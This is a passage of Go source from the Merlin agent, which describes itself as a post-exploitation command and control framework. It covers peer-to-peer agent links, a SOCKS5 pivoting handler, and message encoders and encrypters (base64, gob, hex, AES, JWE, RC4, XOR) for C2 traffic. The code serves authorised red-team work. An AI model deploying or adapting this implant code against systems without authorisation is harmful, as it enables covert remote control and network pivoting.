has reset the connection", link.Conn().(net.Conn).RemoteAddr())) } else if errors.Is(err, io.EOF) { cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): the linked agent %s has closed the connection", link.Conn().(net.Conn).RemoteAddr())) } else { cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\n", link.Conn().(net.Conn).RemoteAddr(), err)) } cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): removing the linked agent %s at %s from the repository", link.ID(), link.Conn().(net.Conn).RemoteAddr())) link.Unlock() s.Delete(link.ID()) break } cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to the linked agent %s at %s at %s\n", len(delegate.Payload), delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339))) // Without a delay, synchronous connections can send multiple messages so fast that receiver thinks it is one message // TODO Fix this so that way an artificial sleep is not needed // Sent about 25 UDP IDLE messages in 1 second and caused the agent to receive them out of order time.Sleep(sleep) link.Unlock() } } // List returns a numbered list of peer-to-peer Links that exist each seperated by a new line func (s *Service) List() (list string) { agents := s.repo.GetAll() list = fmt.Sprintf("Peer-to-Peer Links (%d)\n", len(agents)) for i, agent := range agents { list += fmt.Sprintf("%d. %s:%s:%s\n", i, agent.String(), agent.ID(), agent.Remote()) } return } // Refresh sends an empty delegate message to the server for each peer-to-peer Link in the repository to update the server // with this Agent's links func (s *Service) Refresh() (list string) { links := s.repo.GetAll() for _, link := range links { s.AddDelegate(messages.Delegate{ Agent: link.ID(), Listener: link.Listener(), }) } return fmt.Sprintf("Created upstream delegate messages for:\n%s", s.List()) } // Remove closes the peer-to-peer Link's network connection and deletes the peer-to-peer Link from the repository func (s *Service) Remove(id uuid.UUID) error { cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Remove(): entering into function with id: %s", id)) link, err := s.GetLink(id) if err != nil { return fmt.Errorf("services/p2p.Remove(): %s", err) } switch link.Type() { case p2p.TCPBIND, p2p.UDPBIND, p2p.SMBBIND: // Close the connection err = link.Conn().(net.Conn).Close() if err != nil { return fmt.Errorf("services/p2p.Remove(): there was an error closing the connection for link %s: %s", link.ID(), err) } default: return fmt.Errorf("services/p2p.Remove() unhandled peer-to-peer link type %d", link.Type()) } s.repo.Delete(id) return nil } // UpdateConnection updates the peer-to-peer Link's network connection with the provided conn func (s *Service) UpdateConnection(id uuid.UUID, conn interface{}, remote net.Addr) error { return s.repo.UpdateConn(id, conn, remote) } ================================================ FILE: services/services.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package services holds the services used to interact with different objects and Agent capabilities package services ================================================ FILE: socks/socks.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package socks handles SOCKS5 messages from the server package socks import ( // Standard "bytes" "fmt" "net" "sync" // 3rd Party "github.com/armon/go-socks5" "github.com/google/uuid" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) var server *socks5.Server var connections = sync.Map{} var done = sync.Map{} // Handler is the entry point for SOCKS connections. // This function starts a SOCKS server and processes incoming SOCKS connections func Handler(msg jobs.Job, jobsOut *chan jobs.Job) { //fmt.Printf("socks.Handler(): Received SOCKS job ID: %s, Index: %d, Close: %t, Data Length: %d\n", msg.Payload.(jobs.Socks).ID, msg.Payload.(jobs.Socks).Index, msg.Payload.(jobs.Socks).Close, len(msg.Payload.(jobs.Socks).Data)) //defer fmt.Printf("\tsocks.Handler(): Exiting ID: %s, Index: %d, Close: %t, Data Length: %d\n", msg.Payload.(jobs.Socks).ID, msg.Payload.(jobs.Socks).Index, msg.Payload.(jobs.Socks).Close, len(msg.Payload.(jobs.Socks).Data)) job := msg.Payload.(jobs.Socks) // See if the SOCKS server has already been created if server == nil { err := newSOCKSServer() if err != nil { cli.Message(cli.WARN, err.Error()) return } } // See if this connection is new _, ok := connections.Load(job.ID) if !ok && !job.Close { client, target := net.Pipe() in := make(chan jobs.Socks, 100) connection := Connection{ Job: msg, In: client, Out: target, JobChan: jobsOut, in: &in, } connections.Store(job.ID, &connection) done.Store(job.ID, false) // Start the go routine to send read data in and send it to the SOCKS server go start(job.ID) go listen(job.ID) go send(job.ID) } conn, ok := connections.Load(job.ID) if !ok { cli.Message(cli.WARN, fmt.Sprintf("connection ID %s was not found", job.ID)) return } *conn.(*Connection).in <- job } // newSOCKSServer is a factory to create and return a global SOCKS5 server instance func newSOCKSServer() (err error) { cli.Message(cli.NOTE, "Starting SOCKS5 server") // Create SOCKS5 server conf := &socks5.Config{} server, err = socks5.New(conf) if err != nil { return fmt.Errorf("there was an error creating a new SOCKS5 server: %s", err) } return } // start the SOCKS server to serve the connection func start(id uuid.UUID) { cli.Message(cli.NOTE, fmt.Sprintf("Serving new SOCKS connection ID %s", id)) connection, ok := connections.Load(id) if !ok { cli.Message(cli.WARN, fmt.Sprintf("connection %s not found", id)) return } err := server.ServeConn(connection.(*Connection).In) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error serving SOCKS connection %s: %s", id, err)) } cli.Message(cli.DEBUG, fmt.Sprintf("Finished serving SOCKS connection ID %s", id)) } // listen continuously for data being returned from the SOCKS server to be sent to the agent func listen(id uuid.UUID) { // Listen for data on the agent-side write pipe connection, ok := connections.Load(id) if !ok { cli.Message(cli.WARN, fmt.Sprintf("connection %s not found", id)) return } j := connection.(*Connection).Job job := jobs.Job{ AgentID: j.AgentID, ID: j.ID, Token: j.Token, Type: jobs.SOCKS, } var i int // Loop 1 - SOCKS client version/method request // Loop 2 - SOCKS client request // Loop 3 - Client data for { data := make([]byte, 500000) n, err := connection.(*Connection).Out.Read(data) cli.Message(cli.DEBUG, fmt.Sprintf("Read %d bytes from the OUTBOUND pipe with error %s", n, err)) //fmt.Printf("[+] Read %d bytes from the OUTBOUND pipe %s with error %s, Data: %x\n", n, id, err, data[:n]) // Check to see if we closed the connection because we are done with it fin, good := done.Load(id) if !good { cli.Message(cli.WARN, fmt.Sprintf("could not find connection ID %s's done map", id)) } if fin.(bool) { done.Delete(id) return } if err != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error reading from the OUTBOUND pipe: %s", err)) //fmt.Printf("ERROR reading %d bytes for ID: %s, Index: %d, Close: %t, Data Length: %d, Error: %s\n", n, id, i, j.Payload.(jobs.Socks).Close, len(j.Payload.(jobs.Socks).Data), err) return } // Return data to the client job.Payload = jobs.Socks{ ID: id, Index: i, Data: data[:n], } *connection.(*Connection).JobChan <- job i++ } } // send continuously sends data to the SOCKS server from the SOCKS client func send(id uuid.UUID) { conn, ok := connections.Load(id) if !ok { cli.Message(cli.WARN, fmt.Sprintf("connection ID %s was not found", id)) return } for { // Get SOCKS job from the channel job := <-*conn.(*Connection).in // Check to ensure the index is correct, if not, return it to the channel to be processed again if conn.(*Connection).Count != job.Index { *conn.(*Connection).in <- job continue } // If there is data, write it to the SOCKS server // Send data, if any, before closing the connection if len(job.Data) > 0 { conn.(*Connection).Count++ // Write the received data to the agent side pipe var buff bytes.Buffer _, err := buff.Write(job.Data) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error writing SOCKS data to the buffer: %s", err)) return } //fmt.Printf("Writing %d bytes to SOCKS target \n", len(job.Data)) n, err := conn.(*Connection).Out.Write(buff.Bytes()) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error writing data to the SOCKS %s OUTBOUND pipe: %s", job.ID, err)) return } cli.Message(cli.DEBUG, fmt.Sprintf("Wrote %d bytes to the SOCKS %s OUTBOUND pipe with error %s", n, job.ID, err)) } // If the SOCKS client has sent io.EOF to close the connection if job.Close { // Mythic is sending two Close messages so the counter needs to increment on close too if len(job.Data) <= 0 { conn.(*Connection).Count++ } cli.Message(cli.NOTE, fmt.Sprintf("Closing SOCKS connection %s", job.ID)) cli.Message(cli.DEBUG, fmt.Sprintf("Closing SOCKS connection %s OUTBOUND pipe", job.ID)) err := conn.(*Connection).Out.Close() if err != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error closing the SOCKS connection %s OUTBOUND pipe: %s", job.ID, err)) } cli.Message(cli.DEBUG, fmt.Sprintf("Closing SOCKS connection %s INBOUND pipe", job.ID)) err = conn.(*Connection).In.Close() if err != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error closing the SOCKS connection %s INBOUND pipe: %s", job.ID, err)) } // Remove the connection from the map connections.Delete(job.ID) done.Store(job.ID, true) return } } } // Connection is a structure used to track new SOCKS client connections type Connection struct { Job jobs.Job In net.Conn Out net.Conn JobChan *chan jobs.Job // Channel to send jobs back to the server in *chan jobs.Socks // Channel to receive and process SOCKS data locally Count int // Counter to track the number of SOCKS messages sent } ================================================ FILE: transformers/encoders/base64/base64.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package base64 encodes/decodes Agent messages package base64 import ( "encoding/base64" "fmt" ) const ( BYTE = 0 STRING = 1 ) type Coder struct { concrete int } // NewEncoder is a factory that returns a structure that implements the Transformer interface func NewEncoder(concrete int) *Coder { return &Coder{concrete: concrete} } // Construct takes in data, Base64 encodes it, and returns the encoded data as bytes func (c *Coder) Construct(data any, key []byte) (retData []byte, err error) { switch c.concrete { case BYTE: retData = make([]byte, base64.StdEncoding.EncodedLen(len(data.([]byte)))) base64.StdEncoding.Encode(retData, data.([]byte)) case STRING: retData = []byte(base64.StdEncoding.EncodeToString(data.([]byte))) } return } // Deconstruct takes in bytes and Base64 decodes it to its original type func (c *Coder) Deconstruct(data, key []byte) (any, error) { switch c.concrete { case BYTE: retData := make([]byte, base64.StdEncoding.DecodedLen(len(data))) return base64.StdEncoding.Decode(retData, data) case STRING: return base64.StdEncoding.DecodeString(string(data)) default: return nil, fmt.Errorf("transformer/encoders/base64.Deconstruct(): unhandled concrete type %d", c.concrete) } } // String converts the Gob encode/decode constant to a string func (c *Coder) String() string { switch c.concrete { case BYTE: return "base64-byte" case STRING: return "base64-string" default: return fmt.Sprintf("unknown base64 transform %d", c.concrete) } } ================================================ FILE: transformers/encoders/gob/gob.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package gob encodes/decodes Agent messages package gob import ( // Standard "bytes" "encoding/gob" "fmt" // Merlin "github.com/Ne0nd0g/merlin-message" ) const ( STRING = 0 BASE = 1 DELEGATE = 2 ) type Coder struct { concrete int } // NewEncoder is a factory that returns a structure that implements the Transformer interface func NewEncoder(concrete int) *Coder { return &Coder{concrete: concrete} } // Construct takes in data, Gob encodes it, and returns the encoded data as bytes func (c *Coder) Construct(data any, key []byte) ([]byte, error) { return c.Encode(data) } // Deconstruct takes in bytes and Gob decodes it to its original type func (c *Coder) Deconstruct(data, key []byte) (any, error) { return c.Decode(data) } // Encode takes in data, Gob encodes it, and returns the encoded data as bytes // This function is exported so that it can be called directly outside the Transformer interface func (c *Coder) Encode(e any) ([]byte, error) { //fmt.Printf("pkg/encoders/gob.Encode(): %T:%+v\n", e, e) encoded := new(bytes.Buffer) switch c.concrete { case BASE: data := e.(messages.Base) err := gob.NewEncoder(encoded).Encode(data) if err != nil { return nil, fmt.Errorf("pkg/encoders/gob.Encode(): error gob encoding messages.Base: %s", err) } return encoded.Bytes(), nil case STRING: data := string(e.([]byte)) err := gob.NewEncoder(encoded).Encode(data) if err != nil { return nil, fmt.Errorf("pkg/encoders/gob.Encode(): error gob encoding string: %s", err) } return encoded.Bytes(), nil case DELEGATE: data := e.(messages.Delegate) err := gob.NewEncoder(encoded).Encode(data) if err != nil { return nil, fmt.Errorf("pkg/encoders/gob.Encode(): error gob encoding messages.Delegate: %s", err) } return encoded.Bytes(), nil default: return nil, fmt.Errorf("pkg/encoders/gob.Encode(): unhandled concrete type %T", c.concrete) } } // Decode takes in bytes and Gob decodes it to its original type // This function is exported so that it can be called directly outside the Transformer interface func (c *Coder) Decode(data []byte) (any, error) { //fmt.Printf("Gob Decode %T concrete: %d\n", data, c.concrete) var err error switch c.concrete { case STRING: var d string err = gob.NewDecoder(bytes.NewReader(data)).Decode(&d) return d, err case BASE: var d messages.Base err = gob.NewDecoder(bytes.NewReader(data)).Decode(&d) return d, err case DELEGATE: var d messages.Delegate err = gob.NewDecoder(bytes.NewReader(data)).Decode(&d) return d, err default: return nil, fmt.Errorf("pkg/gob/encoders.Decode(): unhandled concrete type %d", c.concrete) } } // String converts the Gob encode/decode constant to a string func (c *Coder) String() string { switch c.concrete { case STRING: return "gob-string" case BASE: return "gob-base" case DELEGATE: return "gob-delegate" default: return fmt.Sprintf("unknown transform %d", c.concrete) } } ================================================ FILE: transformers/encoders/hex/hex.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package hex encodes/decodes Agent messages package hex import ( "encoding/hex" "fmt" ) const ( BYTE = 0 STRING = 1 ) type Coder struct { concrete int } // NewEncoder is a factory that returns a structure that implements the Transformer interface func NewEncoder(concrete int) *Coder { return &Coder{concrete: concrete} } // Construct takes in data, hex encodes it, and returns the encoded data as bytes func (c *Coder) Construct(data any, key []byte) (retData []byte, err error) { retData = make([]byte, hex.EncodedLen(len(data.([]byte)))) switch c.concrete { case BYTE: hex.Encode(retData, data.([]byte)) case STRING: retData = []byte(hex.EncodeToString(data.([]byte))) //hex.Encode(retData, []byte(data.(string))) default: err = fmt.Errorf("transformer/encoders/hex.Construct(): unhandled concrete type: %d", c.concrete) } return } // Deconstruct takes in bytes and hex decodes it to its original type func (c *Coder) Deconstruct(data, key []byte) (any, error) { retData := make([]byte, hex.DecodedLen(len(data))) _, err := hex.Decode(retData, data) if err != nil { return nil, fmt.Errorf("transformer/encoders/hex.Deconstruct(): there was an error Base64 decoding the incoming data: %s", err) } switch c.concrete { case BYTE: return retData, nil case STRING: return string(retData), nil default: return nil, fmt.Errorf("transformer/encoders/hex.Deconstruct(): unhandled concrete type %d", c.concrete) } } // String converts the Gob encode/decode constant to a string func (c *Coder) String() string { switch c.concrete { case BYTE: return "hex-byte" case STRING: return "hex-string" default: return fmt.Sprintf("hex base64 transform %d", c.concrete) } } ================================================ FILE: transformers/encoders/mythic/mythic.go ================================================ //go:build mythic /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package mythic encode/decode Agent messages to/from the Mythic C2 framework // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/agent-message-format package mythic import ( "encoding/base64" "fmt" ) type Coder struct { } // NewEncoder is a factory that returns a structure that implements the Transformer interface func NewEncoder() *Coder { return &Coder{} } // Construct takes in data, prepends the UUID, base64 encodes it, and returns the encoded data as bytes // id is the UUID as bytes to prepend to the data func (c *Coder) Construct(data any, id []byte) ([]byte, error) { // UUID - This UUID varies based on the phase of the agent (initial checkin, staging, fully staged). // This is a 36-character long of the format b50a5fe8-099d-4611-a2ac-96d93e6ec77b. // Optionally, if your agent is dealing with more of a binary-level specification rather than strings, you can use // a 16-byte big-endian value here for the binary representation of the UUID4 string. // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/agent-message-format data = append(id, data.([]byte)...) // Base64 encode the data payload := base64.StdEncoding.EncodeToString(data.([]byte)) return []byte(payload), nil } // Deconstruct takes in data, base64 decodes it, and returns the decoded data as bytes // key is the UUID as bytes to prepend to the data func (c *Coder) Deconstruct(data, id []byte) (any, error) { // Base64 decode the data payload, err := base64.StdEncoding.DecodeString(string(data)) if err != nil { return nil, err } // Validate the UUID if string(payload[:36]) != string(id) { return nil, fmt.Errorf("transformers/encoders/mythic/http.Deconstruct(): UUID mismatch have: %s want: %s", string(payload[:36]), string(id)) } // Remove the UUID payload = payload[36:] return payload, nil } // String returns the name of the encoder func (c *Coder) String() string { return "mythic" } ================================================ FILE: transformers/encrypters/aes/aes.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package aes encrypts/decrypts Agent messages package aes import ( // Standard "bytes" "crypto/aes" "crypto/cipher" "crypto/hmac" "crypto/rand" "crypto/sha256" "fmt" "io" ) type Encrypter struct { } // NewEncrypter is a factory to return a structure that implements the Transformer interface func NewEncrypter() *Encrypter { return &Encrypter{} } // Construct takes data in data, AES encrypts it with the provided key, and returns that data as bytes func (e *Encrypter) Construct(data any, key []byte) ([]byte, error) { switch data.(type) { case []uint8: return encrypt(data.([]byte), key) default: return nil, fmt.Errorf("transformers/encrypters/aes unhandled data type for Construct(): %T", data) } } // Deconstruct takes in AES encrypted data, decrypts it with the provided key, and returns the data as bytes func (e *Encrypter) Deconstruct(data, key []byte) (any, error) { return decrypt(data, key) } // encrypt reads in plaintext data as aa byte slice, encrypts it with the client's secret key, and returns the ciphertext func encrypt(plaintext []byte, key []byte) ([]byte, error) { // Pad plaintext padding := aes.BlockSize - len(plaintext)%aes.BlockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) plaintext = append(plaintext, padtext...) if len(plaintext)%aes.BlockSize != 0 { return nil, fmt.Errorf("plaintext size: %d is not a multiple of the block size: %d", len(plaintext), aes.BlockSize) } // AES only takes 16, 24, or 32 byte keys if len(key) > 32 { temp := sha256.Sum256(key) key = temp[:] } block, err := aes.NewCipher(key) if err != nil { return nil, fmt.Errorf("transformers/encrypters/aes.encrypt(): %s", err) } ciphertext := make([]byte, aes.BlockSize+len(plaintext)) iv := ciphertext[:aes.BlockSize] if _, err := io.ReadFull(rand.Reader, iv); err != nil { return nil, err } // AES CBC Encrypt cbc := cipher.NewCBCEncrypter(block, iv) cbc.CryptBlocks(ciphertext[aes.BlockSize:], plaintext) // HMAC hash := hmac.New(sha256.New, key) _, err = hash.Write(ciphertext) if err != nil { return nil, fmt.Errorf("there was an error in the aesEncrypt function writing the HMAC:\r\n%s", err) } // IV + Ciphertext + HMAC return append(ciphertext, hash.Sum(nil)...), nil } // decrypt reads in ciphertext data as a byte slice, decrypts it with the client's secret key, and returns the plaintext func decrypt(ciphertext []byte, key []byte) ([]byte, error) { var block cipher.Block var err error // AES only takes 16, 24, or 32 byte keys if len(key) > 32 { temp := sha256.Sum256(key) key = temp[:] } if block, err = aes.NewCipher(key); err != nil { return nil, fmt.Errorf("transformers/encrypters/aes.decrypt(): %s", err) } if len(ciphertext) < aes.BlockSize { return nil, fmt.Errorf("ciphertext was not greater than the AES block size") } if len(ciphertext) < 32+aes.BlockSize { return nil, fmt.Errorf("ciphertext not long enough to contain a hash") } // IV + Ciphertext + HMAC iv := ciphertext[:aes.BlockSize] // First 16 bytes hash := ciphertext[len(ciphertext)-32:] // Last ciphertext = ciphertext[aes.BlockSize : len(ciphertext)-32] // Verify encrypted data is a multiple of the block size if len(ciphertext)%aes.BlockSize != 0 { return nil, fmt.Errorf("ciphertext was not a multiple of the AES block size") } // Verify the HMAC hash h := hmac.New(sha256.New, key) _, err = h.Write(append(iv, ciphertext...)) if err != nil { return nil, fmt.Errorf("there was an error in the aesDecrypt function writing the HMAC:\r\n%s", err) } if !hmac.Equal(h.Sum(nil), hash) { return nil, fmt.Errorf("there was an error validating the AES HMAC hash, expected: %x but got: %x", h.Sum(nil), hash) } // AES CBC Decrypt cbc := cipher.NewCBCDecrypter(block, iv) cbc.CryptBlocks(ciphertext, ciphertext) // Remove padding ciphertext = ciphertext[:(len(ciphertext) - int(ciphertext[len(ciphertext)-1]))] return ciphertext, nil } func (e *Encrypter) String() string { return "aes" } ================================================ FILE: transformers/encrypters/jwe/jwe.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package jwe encrypts/decrypts Agent messages to/from JSON Web Encryption compact serialization format package jwe import ( // Standard "fmt" // 3rd Party "github.com/go-jose/go-jose/v3" ) type Encrypter struct { } // NewEncrypter is a factory to return a structure that implements the Transformer interface func NewEncrypter() *Encrypter { return &Encrypter{} } // Construct takes data in data, encrypts it using PBES2 (RFC 2898) with HMAC SHA-512 as the PRF and // AES Key Wrap (RFC 3394) using 256-bit keys for the encryption scheme. The data is then transformed into a // JSON Web Encryption (JWE) object and serializes it using the compact serialization format to string that is returned // as bytes. // PBES2 uses Password-Based Key Derivation Function 2 (PBKDF2) with a hard-coded 3000 rounds (iterations) func (e *Encrypter) Construct(data any, key []byte) ([]byte, error) { switch data.(type) { case []uint8: return e.encrypt(data.([]byte), key) default: return nil, fmt.Errorf("pkg/encrypters/jwe unhandled data type for Construct(): %T", data) } } // Deconstruct takes in a JSON Web Encryption (JWE) object in the compact serialization format as bytes, decrypts it, // and returns it that data as bytes func (e *Encrypter) Deconstruct(data, key []byte) (any, error) { // Parse JWE string back into JSONWebEncryption jwe, err := jose.ParseEncrypted(string(data)) if err != nil { return nil, fmt.Errorf("there was an error parseing the JWE string into a JSONWebEncryption object: %s", err) } // Decrypt the JWE return jwe.Decrypt(key) } // encrypt takes data in data, encrypts it using PBES2 (RFC 2898) with HMAC SHA-512 as the PRF and // AES Key Wrap (RFC 3394) using 256-bit keys for the encryption scheme. The data is then transformed into a // JSON Web Encryption (JWE) object and serializes it using the compact serialization format to string that is returned // as bytes. // PBES2 uses Password-Based Key Derivation Function 2 (PBKDF2) with a hard-coded 3000 rounds (iterations) func (e *Encrypter) encrypt(data, key []byte) ([]byte, error) { // Keys used with AES GCM must follow the constraints in Section 8.3 of // [NIST.800-38D], which states: "The total number of invocations of the // authenticated encryption function shall not exceed 2^32, including // all IV lengths and all instances of the authenticated encryption // function with the given key". In accordance with this rule, AES GCM // MUST NOT be used with the same key value more than 2^32 times. == 4294967296 enc, err := jose.NewEncrypter(jose.A256GCM, jose.Recipient{ Algorithm: jose.PBES2_HS512_A256KW, // Creates a per message key encrypted with the passed in key //Algorithm: jose.DIRECT, // Doesn't create a per message key // https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2 // A minimum iteration count of 1000 is RECOMMENDED. PBES2Count: 3000, Key: key}, nil) if err != nil { return nil, fmt.Errorf("there was an error creating the JWE encryptor:\r\n%s", err) } // Encrypt the data into a JWE jwe, err := enc.Encrypt(data) if err != nil { return nil, fmt.Errorf("there was an error encrypting the Authentication JSON object to a JWE object:\r\n%s", err) } // Serialize the data into a string serialized, err := jwe.CompactSerialize() if err != nil { return nil, fmt.Errorf("there was an error serializing the JWE in compact format:\r\n%s", err) } // Parse it to make sure there were no errors serializing it _, err = jose.ParseEncrypted(serialized) if err != nil { return nil, fmt.Errorf("there was an error parsing the encrypted JWE:\r\n%s", err) } return []byte(serialized), nil } // String returns a string representation of the encrypter type func (e *Encrypter) String() string { return "jwe" } ================================================ FILE: transformers/encrypters/rc4/rc4.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package rc4 encrypts/decrypts Agent messages package rc4 import ( "crypto/rc4" // #nosec G503 intentionally using rc4 knowing it is insecure "fmt" ) // Encrypter is the structure that implements the Transformer interface for RC4 encrypting/decryption type Encrypter struct { } // NewEncrypter is a factory to return a structure that implements the Transformer interface func NewEncrypter() *Encrypter { return &Encrypter{} } // Construct takes data in data, RC4 encrypts it with the provided key, and returns that data as bytes func (e *Encrypter) Construct(data any, key []byte) (retData []byte, err error) { switch data.(type) { case []uint8: return xor(data.([]byte), key) default: return nil, fmt.Errorf("pkg/encrypters/rc4 unhandled data type for Construct(): %T", data) } } // Deconstruct takes in RC4 encrypted data, decrypts it with the provided key, and returns the data as bytes func (e *Encrypter) Deconstruct(data, key []byte) (any, error) { return xor(data, key) } func xor(data, key []byte) (retData []byte, err error) { retData = make([]byte, len(data)) cipher, err := rc4.NewCipher(key) // #nosec G401 intentionally using rc4 knowing it is insecure if err != nil { return []byte{}, fmt.Errorf("pkg/transformer/encrypters/rc4.Construct(): there was an error getting an RC4 cipher: %s", err) } cipher.XORKeyStream(retData, data) return } // String returns the name of the encrypter func (e *Encrypter) String() string { return "rc4" } ================================================ FILE: transformers/encrypters/xor/xor.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package xor encrypts/decrypts Agent messages package xor import ( "fmt" ) // Encrypter is the structure that implements the Transformer interface for XOR encrypting/decryption type Encrypter struct { } // NewEncrypter is a factory to return a structure that implements the Transformer interface func NewEncrypter() *Encrypter { return &Encrypter{} } // Construct takes data in data, AES encrypts it with the provided key, and returns that data as bytes func (e *Encrypter) Construct(data any, key []byte) ([]byte, error) { switch data.(type) { case []uint8: return xor(data.([]byte), key) default: return nil, fmt.Errorf("pkg/encrypters/aes unhandled data type for Construct(): %T", data) } } // Deconstruct takes in AES encrypted data, decrypts it with the provided key, and returns the data as bytes func (e *Encrypter) Deconstruct(data, key []byte) (any, error) { return xor(data, key) } func xor(data, key []byte) (retData []byte, err error) { retData = make([]byte, len(data)) for k, v := range data { retData[k] = v ^ key[k%len(key)] } return } // String returns the name of the encrypter func (e *Encrypter) String() string { return "xor" } ================================================ FILE: transformers/transformer.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package transformer provides encoding and encryption methods to transform Agent messages package transformer // Transformer is an interface used to transform Agent message data from one format to the next through encoding or encryption type Transformer interface { Construct(data any, key []byte) ([]byte, error) Deconstruct(data, key []byte) (any, error) String() string }